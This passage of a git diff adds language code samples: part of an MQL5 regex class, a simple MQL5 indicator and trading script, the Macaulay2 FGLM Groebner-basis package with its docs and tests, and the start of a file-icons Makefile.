+            return (current.Value());
+           }
+        }
+      //--- it wasn't in the cache, so we'll add a new one.  Shortcut out for the case where cacheSize is zero.
+      if(m_cacheSize!=0)
+        {
+         newcached=new CachedCodeEntry(key,m_capnames,m_capslist,m_code,m_caps,m_capsize,m_runnerref,m_replref);
+         m_livecode.AddFirst(newcached);
+         if(m_livecode.Count()>m_cacheSize)
+           {
+            m_livecode.RemoveLast();
+           }
+        }
+      //--- return result
+      return (newcached);
+     }
+   //+------------------------------------------------------------------+
+   //| Delete all objects in cache.                                     |
+   //+------------------------------------------------------------------+
+   static void ClearCache()
+     {
+      IEnumerator<CachedCodeEntry*>*en=m_livecode.GetEnumerator();
+      while(en.MoveNext())
+        {
+         if(CheckPointer(en.Current())==POINTER_DYNAMIC)
+           {
+            if(CheckPointer(en.Current().RunnerRef().Get().RunRegex())==POINTER_DYNAMIC)
+              {
+               delete en.Current().RunnerRef().Get().RunRegex();
+              }
+            delete en.Current();
+           }
+        }
+      delete en;
+     }
+   //+------------------------------------------------------------------+
+   //| True if the O option was set.                                    |
+   //+------------------------------------------------------------------+
+   bool UseOptionC()
+     {
+      return(m_roptions) != 0;
+     }
+   //+------------------------------------------------------------------+
+   //| True if the L option was set.                                    |
+   //+------------------------------------------------------------------+
+   bool UseOptionR()
+     {
+      return(m_roptions & RightToLeft) != 0;
+     }
+   //+------------------------------------------------------------------+
+   //| UseOptionInvariant.                                              |
+   //+------------------------------------------------------------------+
+   bool UseOptionInvariant()
+     {
+      return(m_roptions) != 0;
+     }
+#ifdef _DEBUG
+   //+------------------------------------------------------------------+
+   //| True if the regex has debugging enabled.                         |
+   //+------------------------------------------------------------------+
+   bool Debug()
+     {
+      //--- return result
+      return((m_roptions &Debug) != 0);
+     }
+#endif
+  };
+static const TimeSpan   Regex::MaximumMatchTimeout=TimeSpan::FromMilliseconds(Int32::MaxValue-1);
+static const TimeSpan   Regex::InfiniteMatchTimeout(0,0,0,0,-1);
+static const string Regex::DefaultMatchTimeout_ConfigKeyName="REGEX_DEFAULT_MATCH_TIMEOUT";
+static const TimeSpan   Regex::FallbackDefaultMatchTimeout=Regex::InfiniteMatchTimeout;
+static const TimeSpan   Regex::DefaultMatchTimeout=Regex::InitDefaultMatchTimeout();
+static LinkedList<CachedCodeEntry*>Regex::m_livecode();
+static int Regex::m_cacheSize=15;
+static const int Regex::MaxOptionShift=10;
+//+------------------------------------------------------------------+
+//| Purpose: Used to cache byte codes or compiled factories.         |
+//+------------------------------------------------------------------+
+class CachedCodeEntry : public IComparable
+  {
+private:
+   string            m_key;
+   RegexCode        *m_code;
+   Dictionary<int,int>*m_caps;
+   Dictionary<string,int>*m_capnames;
+   string            m_capslist[];
+   int               m_capsize;
+   RunnerReference *m_runnerref;
+   ReplacementReference *m_replref;
+public:
+   //--- Constructors:
+   //+------------------------------------------------------------------+
+   //| Constructor with parameters.                                     |
+   //+------------------------------------------------------------------+
+                     CachedCodeEntry(const string key,Dictionary<string,int>*capnames,const string &capslist[],
+                                                       RegexCode *code,Dictionary<int,int>*caps,const int capsize,
+                                                       RunnerReference *runner,ReplacementReference *repl)
+     {
+      m_key=key;
+      m_capnames=capnames;
+      ArrayCopy(m_capslist,capslist);
+      m_code= code;
+      m_caps= caps;
+      m_capsize=capsize;
+      m_runnerref=runner;
+      m_replref=repl;
+     }
+   //--- Destructors:
+   //+------------------------------------------------------------------+
+   //| destructor without parameters.                                   |
+   //+------------------------------------------------------------------+
+                    ~CachedCodeEntry()
+     {
+      if(CheckPointer(m_code)==POINTER_DYNAMIC)
+        {
+         delete m_code;
+        }
+      if(CheckPointer(m_caps)==POINTER_DYNAMIC)
+        {
+         delete m_caps;
+        }
+      if(CheckPointer(m_capnames)==POINTER_DYNAMIC)
+        {
+         delete m_capnames;
+        }
+      if(CheckPointer(m_replref)==POINTER_DYNAMIC)
+        {
+         delete m_replref;
+        }
+      if(CheckPointer(m_runnerref)==POINTER_DYNAMIC)
+        {
+         delete m_runnerref;
+        }
+     }
+   //--- Methods:
+   //+------------------------------------------------------------------+
+   //| Gets the runnerref.                                              |
+   //+------------------------------------------------------------------+
+   RunnerReference *RunnerRef()
+     {
+      //--- reurn runnerref
+      return (m_runnerref);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the replref.                                                |
+   //+------------------------------------------------------------------+
+   ReplacementReference *ReplRef()
+     {
+      //--- return replref
+      return (m_replref);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the key.                                                    |
+   //+------------------------------------------------------------------+
+   string Key()
+     {
+      //--- return key
+      return (m_key);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the caps.                                                   |
+   //+------------------------------------------------------------------+
+   Dictionary<int,int>*Caps()
+     {
+      //--- return caps
+      return (m_caps);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the capnames.                                               |
+   //+------------------------------------------------------------------+
+   Dictionary<string,int>*CapNames()
+     {
+      //--- return capnames
+      return (m_capnames);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the capsize.                                                |
+   //+------------------------------------------------------------------+
+   int CapSize()
+     {
+      //--- retrun capsize
+      return (m_capsize);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the code.                                                   |
+   //+------------------------------------------------------------------+
+   RegexCode *Code()
+     {
+      //--- return code
+      return (m_code);
+     }
+   //+------------------------------------------------------------------+
+   //| Gets the caplist.                                                |
+   //+------------------------------------------------------------------+
+   void GetCapList(string &array[])
+     {
+      ArrayCopy(array,m_capslist);
+     }
+  };
+//+------------------------------------------------------------------+
+//| Used to cache a weak reference in a threadsafe way.              |
+//+------------------------------------------------------------------+
+class ReplacementReference
+  {
+private:
+   RegexReplacement *m_obj;
+public:
+   //--- Destructors:
+   //+------------------------------------------------------------------+
+   //| Destructor without parameters.                                   |
+   //+------------------------------------------------------------------+   
+                    ~ReplacementReference()
+     {
+      if(CheckPointer(m_obj)==POINTER_DYNAMIC)
+        {
+         delete m_obj;
+        }
+     }
+   //--- Methods:
+   //+------------------------------------------------------------------+
+   //| Get RegexReplacement.                                            |
+   //+------------------------------------------------------------------+
+   RegexReplacement *Get()
+     {
+      //--- return pointer
+      return (m_obj);
+     }
+   //+------------------------------------------------------------------+
+   //| Set RegexReplacement.                                            |
+   //+------------------------------------------------------------------+
+   void      Set(RegexReplacement *obj)
+     {
+      m_obj=obj;
+     }
+  };
+//+------------------------------------------------------------------+
+//| Used to cache one exclusive runner reference.                    |
+//+------------------------------------------------------------------+
+class RunnerReference
+  {
+private:
+   RegexRunner      *m_obj;
+public:
+   //--- Destructors:
+   //+------------------------------------------------------------------+
+   //| Destructor without parameters.                                   |
+   //+------------------------------------------------------------------+   
+                    ~RunnerReference()
+     {
+      if(CheckPointer(m_obj)==POINTER_DYNAMIC)
+        {
+         delete m_obj;
+        }
+     }
+   //--- Methods:
+   //+------------------------------------------------------------------+
+   //| Get RegexRunner.                                                 |
+   //+------------------------------------------------------------------+
+   RegexRunner *Get()
+     {
+      //--- return pointer
+      return (m_obj);
+     }
+   //+------------------------------------------------------------------+
+   //| Set RegexRunner.                                                 |
+   //+------------------------------------------------------------------+
+   void Set(RegexRunner *obj)
+     {
+      m_obj=obj;
+     }
+  };
+//+------------------------------------------------------------------+
diff --git a/samples/MQL5/indicator-sample.mq5 b/samples/MQL5/indicator-sample.mq5
new file mode 100644
index 0000000000..fdd42f58e1
--- /dev/null
+++ b/samples/MQL5/indicator-sample.mq5
@@ -0,0 +1,64 @@
+//+------------------------------------------------------------------+
+//|                                             indicator-sample.mq5 |
+//|                                   Copyright 2016, Andrey Osorgin |
+//+------------------------------------------------------------------+
+//|                     The MIT License (MIT)                        |
+//|                                                                  |
+//| Permission is hereby granted, free of charge, to any person      |
+//| obtaining a copy of this software and associated documentation   |
+//| files (the "Software"), to deal in the Software without          |
+//| restriction, including without limitation the rights to use,     |
+//| copy, modify, merge, publish, distribute, sublicense, and/or sell|
+//| copies of the Software, and to permit persons to whom the        |
+//| Software is furnished to do so, subject to the following         |
+//| conditions:                                                      |
+//|                                                                  |
+//| The above copyright notice and this permission notice shall be   |
+//| included in all copies or substantial portions of the Software.  |
+//|                                                                  |
+//| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,  |
+//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |
+//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |
+//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |
+//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |
+//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |
+//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |
+//| OTHER DEALINGS IN THE SOFTWARE.                                  |
+//|                                                                  |
+//| A copy of the MIT License (MIT) is available at                  |
+//| https://opensource.org/licenses/MIT                              |
+//+------------------------------------------------------------------+
+#property version   "1.00"
+
+#property indicator_chart_window
+#property indicator_plots   0
+//+------------------------------------------------------------------+
+//| Custom indicator initialization function                         |
+//+------------------------------------------------------------------+
+int OnInit()
+  {
+//---
+   return(INIT_SUCCEEDED);
+  }
+//+------------------------------------------------------------------+
+//| Custom indicator iteration function                              |
+//+------------------------------------------------------------------+
+int OnCalculate(const int rates_total,
+                const int prev_calculated,
+                const datetime &time[],
+                const double &open[],
+                const double &high[],
+                const double &low[],
+                const double &close[],
+                const long &tick_volume[],
+                const long &volume[],
+                const int &spread[])
+  {
+//---
+   int bars=Bars(Symbol(),0);
+   Print("Bars = ",bars,", rates_total = ",rates_total,",  prev_calculated = ",prev_calculated);
+   Print("time[0] = ",time[0]," time[rates_total-1] = ",time[rates_total-1]);
+//--- return value of prev_calculated for next call
+   return(rates_total);
+  }
+//+------------------------------------------------------------------+
diff --git a/samples/MQL5/script-sample.mq5 b/samples/MQL5/script-sample.mq5
new file mode 100644
index 0000000000..c741218ac0
--- /dev/null
+++ b/samples/MQL5/script-sample.mq5
@@ -0,0 +1,56 @@
+//+------------------------------------------------------------------+
+//|                                                script-sample.mq5 |
+//|                                   Copyright 2016, Andrey Osorgin |
+//+------------------------------------------------------------------+
+//|                     The MIT License (MIT)                        |
+//|                                                                  |
+//| Permission is hereby granted, free of charge, to any person      |
+//| obtaining a copy of this software and associated documentation   |
+//| files (the "Software"), to deal in the Software without          |
+//| restriction, including without limitation the rights to use,     |
+//| copy, modify, merge, publish, distribute, sublicense, and/or sell|
+//| copies of the Software, and to permit persons to whom the        |
+//| Software is furnished to do so, subject to the following         |
+//| conditions:                                                      |
+//|                                                                  |
+//| The above copyright notice and this permission notice shall be   |
+//| included in all copies or substantial portions of the Software.  |
+//|                                                                  |
+//| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,  |
+//| EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES  |
+//| OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND         |
+//| NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT      |
+//| HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,     |
+//| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING     |
+//| FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR    |
+//| OTHER DEALINGS IN THE SOFTWARE.                                  |
+//|                                                                  |
+//| A copy of the MIT License (MIT) is available at                  |
+//| https://opensource.org/licenses/MIT                              |
+//+------------------------------------------------------------------+
+#property version   "1.00"
+#property script_show_inputs
+
+#include <Trade\Trade.mqh>
+
+input int StopLoss=100; // Stop Loss
+input int TakeProfit=100; // Take Profit
+//+------------------------------------------------------------------+
+//| Script program start function                                    |
+//+------------------------------------------------------------------+
+void OnStart()
+  {
+   CTrade trade;
+//---
+   long stoplevel=SymbolInfoInteger(Symbol(),SYMBOL_TRADE_STOPS_LEVEL);
+   Print("Minimum stop level is: ",stoplevel);
+   double ask=SymbolInfoDouble(Symbol(),SYMBOL_ASK);
+   double bid=SymbolInfoDouble(Symbol(),SYMBOL_BID);
+   double sl = NormalizeDouble(bid - StopLoss*Point(),Digits());
+   double tp = NormalizeDouble(ask + TakeProfit*Point(),Digits());
+//---
+   bool result=trade.Buy(0.01,Symbol(),ask,sl,tp,"test");
+//---
+   Print("Success? ",result);
+  }
+//+------------------------------------------------------------------+
diff --git a/samples/Macaulay2/FGLM.m2 b/samples/Macaulay2/FGLM.m2
new file mode 100644
index 0000000000..438812130e
--- /dev/null
+++ b/samples/Macaulay2/FGLM.m2
@@ -0,0 +1,465 @@
+-- Source: https://github.com/Macaulay2/M2/blob/version-1.14/M2/Macaulay2/packages/FGLM.m2
+
+newPackage(
+    "FGLM",
+    Version => "1.0.0",
+    Date => "May 20, 2019",
+    Authors => {
+        { Name => "Dylan Peifer",   Email => "djp282@cornell.edu", HomePage => "https://math.cornell.edu/~djp282" },
+        { Name => "Mahrud Sayrafi", Email => "mahrud@umn.edu",     HomePage => "https://math.umn.edu/~mahrud" }
+        },
+    Headline => "Groebner bases via the FGLM algorithm"
+    )
+
+-*
+Copyright (C) 2019 Dylan Peifer and Mahrud Sayrafi
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*-
+
+export {"fglm"}
+
+-------------------------------------------------------------------------------
+--- top level functions
+-------------------------------------------------------------------------------
+
+---------------------------------------------------------------------------
+-- See Section 2.4.4, Algorithm 2.5 of Thibaut Verron's thesis for details:
+-- https://thibautverron.github.io/doc/2016-these.pdf
+---------------------------------------------------------------------------
+fglm = method()
+fglm(Ideal,         Ring) := GroebnerBasis => (I1, R2) -> fglm(gb I1, R2)
+fglm(GroebnerBasis, Ring) := GroebnerBasis => (G1, R2) -> (
+    -- G1 = a Groebner basis for I1 in R1
+    -- R2 = a polynomial ring
+    -- returns Groebner basis G2 of the ideal generated by G1 in the ring R2
+
+    R1 := ring G1;
+    I1 := ideal gens G1; -- TODO: make a github issue add gb to cache
+    if R1 == I1 then return forceGB(sub(gens G1, R2));
+    if dim I1 > 0 then error "expected zero-dimensional ideal";
+    if #gens R1 != #gens R2 then error "expected the same number of generators";
+
+    M := multiplicationMatrices G1;
+    m := numcols M#0;
+    n := #gens R2;
+
+    -- elements in the groebner basis
+    G2 := new MutableHashTable from {}; -- leading term => gb element
+    -- elements in the staircase
+    B2 := new MutableHashTable from {1_R2 => true};
+
+    -- normal form translation table
+    -- Note: we want dense mutable matrices
+    V := new MutableHashTable from {
+	 1_R2 => transpose matrix { {1_(coefficientRing R1)} | toList ((m-1):0) }
+	 };
+
+    -- list of elements between the staircase and groebner basis generators
+    -- Note: use a heap in the engine for this
+    S := new MutableHashTable from for i to n - 1 list R2_i * 1_R2 => (i, 1_R2);
+
+    while #S > 0 do (
+	-- TODO: use O(1) min for fun and profit
+	(elt, vals) := min pairs S;
+	remove(S, elt);
+	if any(keys G2, lt -> elt % lt == 0) then continue;
+	(i, mu) := vals;
+	v := M#i * V#mu;
+
+	-- FIXME: About 70% of time is spent on these three lines:
+	VS := matrix { for s in keys B2 list V#s };
+	if v % VS == 0 then (
+	    lambda := solve(VS, v);
+	    -- TODO: don't remake a matrix every time
+	    g := elt - matrix {keys B2} * lambda;
+	    G2#elt = g;
+	    ) else (
+	    -- TODO: add elt to VS and row reduce here
+	    V#elt = v;
+	    B2#elt = true;
+	    -- Add the product of elt and generators of R2 to S
+	    for j to n - 1 do if not B2#?(R2_j * elt) then S#(R2_j * elt) = (j, elt);
+	    );
+	);
+    forceGB(matrix {values G2})
+    )
+
+-------------------------------------------------------------------------------
+-- See Section 2.4.4, Algorithm 2.4 of Thibaut Verron's thesis for details:
+-- https://thibautverron.github.io/doc/2016-these.pdf
+-- Applies more "tricks"
+-------------------------------------------------------------------------------
+-- TODO: Move to engine
+-- TODO: return MutableMatrix
+multiplicationMatrices' = method()
+multiplicationMatrices'(GroebnerBasis) := List => (G) -> (
+    -- G = a GroebnerBasis
+    -- returns the matrices giving multiplication by variables in R/I
+
+    R := ring G;
+    I := ideal gens G;
+    B := first entries sub(basis (R/I), R); -- TODO: find a way to avoid recomputing GB
+    N := new MutableHashTable from for b in B list b => b;
+    F := flatten for x in gens R list flatten apply(B, b -> if not N#?(x * b) then x * b else {});
+    F = sort F;
+
+    for mu in F do (
+	i := position(first entries leadTerm G, g -> mu == leadMonomial g);
+	if i =!= null then (
+	    g := (gens G)_i_0;
+	    N#mu = mu - g // leadCoefficient g; -- Verron has typo in line 9
+	    ) else (
+	    j := position(F, mu' -> mu % mu' == 0 and any(gens R, x -> mu == x * mu'));
+	    mu' := F#j;
+	    (gs, cs) := coefficients N#mu';
+	    N#mu = sum apply(first entries gs, first entries transpose cs, (g, c) -> N#(g * mu // mu') * c);
+	    );
+	);
+
+    for x in gens R list lift(last coefficients(matrix{apply(x * B, elt -> N#elt)}, Monomials => B), coefficientRing R)
+    )
+
+-- TODO: Make this into a more general function that gets
+-- (f: ring elt, S: quotient ring, B: basis) -> (M: multiplication matrix of f)
+multiplicationMatrices = method()
+multiplicationMatrices(GroebnerBasis) := List => (G) -> (
+    -- G = a GroebnerBasis
+    -- returns the matrices giving multiplication by variables in R/I
+
+    R := ring G;
+    I := ideal gens G;
+    B := basis (R/I); -- TODO: find a way to avoid recomputing GB
+
+    for x in gens R list lift(last coefficients(x * B, Monomials => B), coefficientRing R)
+    )
+
+-------------------------------------------------------------------------------
+--- Helper functions for tests
+-------------------------------------------------------------------------------
+
+cyclic = method(Options => {CoefficientRing => ZZ/32003, MonomialOrder => GRevLex})
+cyclic(ZZ) := Ideal => opts -> (n) -> (
+    R := (opts.CoefficientRing)[vars(0..n-1), MonomialOrder => opts.MonomialOrder];
+    F := toList apply(1..n-1, d -> sum(0..n-1, i -> product(d, k -> R_((i+k)%n))))
+         | {product gens R - 1};
+    ideal F
+    )
+
+katsura = method(Options => {CoefficientRing => ZZ/32003, MonomialOrder => GRevLex})
+katsura(ZZ) := Ideal => opts -> (n) -> (
+    n = n-1;
+    R := (opts.CoefficientRing)[vars(0..n), MonomialOrder => opts.MonomialOrder];
+    L := gens R;
+    u := i -> (
+	 if i < 0 then i = -i;
+	 if i <= n then L_i else 0_R
+	 );
+    f1 := -1 + sum for i from -n to n list u i;
+    F := toList prepend(f1, apply(0..n-1, i -> - u i + sum(-n..n, j -> (u j) * (u (i-j)))));
+    ideal F
+    )
+
+test = (I1, MO2) -> (
+    R1 := ring I1;
+    R2 := (coefficientRing R1)(monoid ([gens R1], MonomialOrder => MO2));
+    G2 := gb(sub(I1, R2));
+    elapsedTime G2' := fglm(I1, R2);
+    assert(gens G2 == gens G2')
+    )
+
+-------------------------------------------------------------------------------
+--- documentation
+-------------------------------------------------------------------------------
+beginDocumentation()
+
+doc ///
+Key
+  FGLM
+Headline
+  Compute Groebner bases via the FGLM algorithm
+Description
+  Text
+    FGLM is a Groebner basis conversion algorithm. This means it takes a
+    Groebner basis of an ideal with respect to one monomial order and changes it
+    into a Groebner basis of the same ideal over a different monomial
+    order. Conversion algorithms can be useful since sometimes when a Groebner
+    basis over a difficult monomial order (such as lexicographic or an
+    elimination order) is desired, it can be faster to compute a Groebner basis
+    directly over an easier order (such as graded reverse lexicographic) and
+    then convert rather than computing directly in the original order. Other
+    examples of conversion algorithms include the Groebner walk and
+    Hilbert-driven Buchberger.
+
+    FGLM performs conversion by doing linear algebra in the quotient ring R/I,
+    where I is the ideal generated by the original Groebner basis in the
+    polynomial ring R. This requires that I is zero-dimensional.
+
+    In Macaulay2, monomial orders must be given as options to rings. For
+    example, the following ideal has monomial order given by graded reverse
+    lexicographic (which is also the default order in Macaulay2).
+
+  Example
+    R1 = QQ[x,y,z, MonomialOrder => GRevLex]
+    I1 = ideal(x*y + z - x*z, x^2 - z, 2*x^3 - x^2*y*z - 1)
+  Text
+    If we want a Groebner basis of I1 with respect to lexicographic order
+    we could substitute the ideal into
+    a new ring with that order and compute directly,
+  Example
+    R2 = QQ[x,y,z, MonomialOrder => Lex];
+    I2 = sub(I1, R2);
+    gens gb I2  -- performs computation in R2
+  Text
+    but it may be faster to compute directly in the first order and then use
+    FGLM.
+  Example
+    G1 = gb I1;  -- performs computation in R1
+    gens fglm(G1, R2)
+
+  Text
+    Further background and details can be found in the following resources:
+  Text
+    @UL {
+        "Cox, Little, O'Shea - Using Algebraic Geometry (2005)",
+        "Faugere, Gianni, Lazard, Mora - Efficient Computation of Zero-dimensional
+         Groebner Bases by Change of Ordering (1993)",
+        "Gerdt, Yanovich - Implementation of the FGLM Algorithm and Finding Roots
+         of Polynomial Involutive Systems (2003)"
+     }@
+Caveat
+  The ideal generated by the Groebner basis must be zero-dimensional.
+SeeAlso
+  groebnerBasis
+///
+
+doc ///
+Key
+  fglm
+  (fglm, GroebnerBasis, Ring)
+  (fglm, Ideal, Ring)
+Headline
+  convert a Groebner basis
+Usage
+  H = fglm(G, R)
+  H = fglm(I, R)
+Inputs
+  G: GroebnerBasis
+     the starting Groebner basis
+  I: Ideal
+     the starting ideal
+  R: Ring
+     a ring with the target monomial order
+Outputs
+  H: GroebnerBasis
+     the new Groebner basis in the target monomial order
+Description
+  Text
+    FGLM takes a Groebner basis of an ideal with respect to one monomial order
+    and changes it into a Groebner basis of the same ideal over a different
+    monomial order. The initial order is given by the ring of G and the target
+    order is the order in R. When given an ideal I as input a Groebner basis of
+    I in the ring of I is initially computed directly, and then this Groebner
+    basis is converted into a Groebner basis in the ring R.
+  Example
+    R1 = QQ[x,y,z];
+    I1 = ideal(x^2 + 2*y^2 - y - 2*z, x^2 - 8*y^2 + 10*z - 1, x^2 - 7*y*z);
+    R2 = QQ[x,y,z, MonomialOrder => Lex];
+    fglm(I1, R2)
+Caveat
+  The ideal I generated by G must be zero-dimensional. The target ring R must be
+  the same ring as the ring of G or I, except with different monomial order. R
+  must be a polynomial ring over a field.
+SeeAlso
+  FGLM
+  groebnerBasis
+///
+
+-------------------------------------------------------------------------------
+--- tests
+-------------------------------------------------------------------------------
+
+TEST ///
+  debug needsPackage "FGLM"
+  R1 = ZZ/101[x,y,z]
+  I1 = ideal(x*y + z - x*z, x^2 - z, 2*x^3 - x^2*y*z - 1)
+  test(I1, Lex)
+///
+
+TEST ///
+  debug needsPackage "FGLM"
+  R1 = QQ[x,y,z]
+  I1 = ideal(x^2 + 2*y^2 - y - 2*z, x^2 - 8*y^2 + 10*z - 1, x^2 - 7*y*z)
+  test(I1, Lex)
+///
+
+TEST ///
+  debug needsPackage "FGLM"
+  R1 = QQ[x,y,z]
+  I1 = ideal(x^2 + y^2 + z^2 - 2*x, x^3 - y*z - x, x - y + 2*z)
+  test(I1, Lex)
+///
+
+TEST ///
+  debug needsPackage "FGLM"
+  R1 = QQ[x,y,z]
+  I1 = ideal(x*y + z - x*z, x^2 - z, 2*x^3 - x^2*y*z - 1)
+  test(I1, Lex)
+///
+
+TEST ///
+  -- katsura6
+  -- gb: 0.123865
+  -- fglm: 0.115399
+  debug needsPackage "FGLM"
+  I = katsura(6, MonomialOrder=>Lex)
+  G1 = elapsedTime gb I
+  I = katsura(6)
+  R = newRing(ring I, MonomialOrder=>Lex)
+  G2 = elapsedTime fglm(I, R)
+  assert(sub(gens G2, ring G1) == gens G1)
+///
+
+TEST ///
+  -- cyclic6
+  -- gb: 0.280165
+  -- fglm: 0.885988
+  debug needsPackage "FGLM"
+  I = cyclic(6, MonomialOrder=>Lex)
+  G1 = elapsedTime gb I
+  I = cyclic(6)
+  R = newRing(ring I, MonomialOrder=>Lex)
+  G2 = elapsedTime fglm(I, R)
+  assert(sub(gens G2, ring G1) == gens G1)
+///
+
+end--
+
+-------------------------------------------------------------------------------
+--- Development sections
+-------------------------------------------------------------------------------
+
+restart
+uninstallPackage "FGLM"
+restart
+installPackage "FGLM"
+
+restart
+needsPackage "FGLM"
+elapsedTime check FGLM -- ~3.2 seconds
+
+viewHelp "FGLM"
+
+
+-------------------------------------------------------------------------------
+--- Longer tests
+-------------------------------------------------------------------------------
+
+-- cyclic7
+-- gb: 1354.44
+-- fglm: 353.367
+restart
+debug needsPackage "FGLM"
+I = cyclic(7, MonomialOrder=>Lex)
+G1 = elapsedTime gb I
+I = cyclic(7)
+R = newRing(ring I, MonomialOrder=>Lex)
+G2 = elapsedTime fglm(I, R)
+
+
+-- katsura7
+-- gb: 6.78653
+-- fglm: 0.779608
+restart
+debug needsPackage "FGLM"
+I = katsura(7, MonomialOrder=>Lex)
+G1 = elapsedTime gb I
+I = katsura(7)
+R = newRing(ring I, MonomialOrder=>Lex)
+G2 = elapsedTime fglm(I, R)
+
+
+-- katsura8
+-- gb: 2305.46
+-- fglm: 8.23514
+restart
+debug needsPackage "FGLM"
+I = katsura(8, MonomialOrder=>Lex)
+G1 = elapsedTime gb I
+I = katsura(8)
+R = newRing(ring I, MonomialOrder=>Lex)
+G2 = elapsedTime fglm(I, R)
+
+
+-- reimer5
+-- gb: 8.3658
+-- fglm: 3.79775
+restart
+needsPackage "FGLM"
+kk = ZZ/32003
+R1 = kk[x,y,z,t,u, MonomialOrder=>Lex]
+I1 = ideal(2*x^2 - 2*y^2 + 2*z^2 - 2*t^2 + 2*u^2 - 1,
+           2*x^3 - 2*y^3 + 2*z^3 - 2*t^3 + 2*u^3 - 1,
+           2*x^4 - 2*y^4 + 2*z^4 - 2*t^4 + 2*u^4 - 1,
+           2*x^5 - 2*y^5 + 2*z^5 - 2*t^5 + 2*u^5 - 1,
+           2*x^6 - 2*y^6 + 2*z^6 - 2*t^6 + 2*u^6 - 1)
+G1 = elapsedTime gb I1
+R2 = kk[x,y,z,t,u]
+I2 = sub(I1, R2)
+G2 = elapsedTime fglm(I2, R1)
+
+
+-- virasoro
+-- gb: 8.91079
+-- fglm: 52.1752
+restart
+needsPackage "FGLM"
+kk = ZZ/32003
+R1 = kk[x1,x2,x3,x4,x5,x6,x7,x8, MonomialOrder=>Lex]
+I1 = ideal(8*x1^2 + 8*x1*x2 + 8*x1*x3 + 2*x1*x4 + 2*x1*x5 + 2*x1*x6 + 2*x1*x7 - x1 - 8* x2*x3 - 2*x4*x7 - 2*x5*x6,
+           8*x1*x2 - 8*x1*x3 + 8*x2^2 + 8*x2*x3 + 2*x2*x4 + 2*x2*x5 + 2*x2*x6 + 2*x2* x7 - x2 - 2*x4*x6 - 2*x5*x7,
+	   -8*x1*x2 + 8*x1*x3 + 8*x2*x3 + 8*x3^2 + 2*x3*x4 + 2*x3*x5 + 2*x3*x6 + 2* x3*x7 - x3 - 2*x4*x5 - 2*x6*x7,
+	   2*x1*x4 - 2*x1*x7 + 2*x2*x4 - 2*x2*x6 + 2*x3*x4 - 2*x3*x5 + 8*x4^2 + 8*x4* x5 + 2*x4*x6 + 2*x4*x7 + 6*x4*x8 - x4 - 6*x5*x8,
+	   2*x1*x5 - 2*x1*x6 + 2*x2*x5 - 2*x2*x7 - 2*x3*x4 + 2*x3*x5 + 8*x4*x5 - 6*x4* x8 + 8*x5^2 + 2*x5*x6 + 2*x5*x7 + 6*x5*x8 - x5,
+	   -2*x1*x5 + 2*x1*x6 - 2*x2*x4 + 2*x2*x6 + 2*x3*x6 - 2*x3*x7 + 2*x4*x6 + 2* x5*x6 + 8*x6^2 + 8*x6*x7 + 6*x6*x8 - x6 - 6*x7*x8,
+	   -2*x1*x4 + 2*x1*x7 - 2*x2*x5 + 2*x2*x7 - 2*x3*x6 + 2*x3*x7 + 2*x4*x7 + 2* x5*x7 + 8*x6*x7 - 6*x6*x8 + 8*x7^2 + 6*x7*x8 - x7,
+	   -6*x4*x5 + 6*x4*x8 + 6*x5*x8 - 6*x6*x7 + 6*x6*x8 + 6*x7*x8 + 8*x8^2 - x8)
+G1 = elapsedTime gb I1;
+R2 = kk[x1,x2,x3,x4,x5,x6,x7,x8];
+I2 = sub(I1, R2);
+G2 = elapsedTime fglm(I2, R1);
+
+
+-- chemkin
+-- gb: 5916.76
+-- fglm: 4.46076
+restart
+needsPackage "FGLM"
+kk = ZZ/32003
+R1 = kk[w,x3,x4,y2,y3,y4,y5,z2,z3,z4,z5, MonomialOrder=>Lex]
+I1 = ideal(-4*w*y2 + 9*y2^2 + z2,
+           x3^2 + y3^2 + z3^2 - 1,
+           x4^2 + y4^2 + z4^2 - 1,
+           9*y5^2 + 9*z5^2 - 8,
+           -6*w*x3*y2 + 3*x3 + 3*y2*y3 + 3*z2*z3 - 1,
+           3*x3*x4 + 3*y3*y4 + 3*z3*z4 - 1,
+           x4 + 3*y4*y5 + 3*z4*z5 - 1,
+           -6*w + 3*x3 + 3*x4 + 8,
+           9*y2 + 9*y3 + 9*y4 + 9*y5 + 8,
+           z2 + z3 + z4 + z5,
+           w^2 - 2)
+G1 = elapsedTime gb I1
+R2 = kk[w,x3,x4,y2,y3,y4,y5,z2,z3,z4,z5]
+I2 = sub(I1, R2)
+G2 = elapsedTime fglm(I2, R1)
diff --git a/samples/Makefile/file-icons.make b/samples/Makefile/file-icons.make
new file mode 100644
index 0000000000..09d8a78c5d
--- /dev/null
+++ b/samples/Makefile/file-icons.make
@@ -0,0 +1,134 @@
+charmap     := charmap.md
+font-name   := file-icons
+font-folder := dist
+font-config := icomoon.json
+icon-size   := 34
+icon-folder := svg
+repo-name   := Alhadis/FileIcons
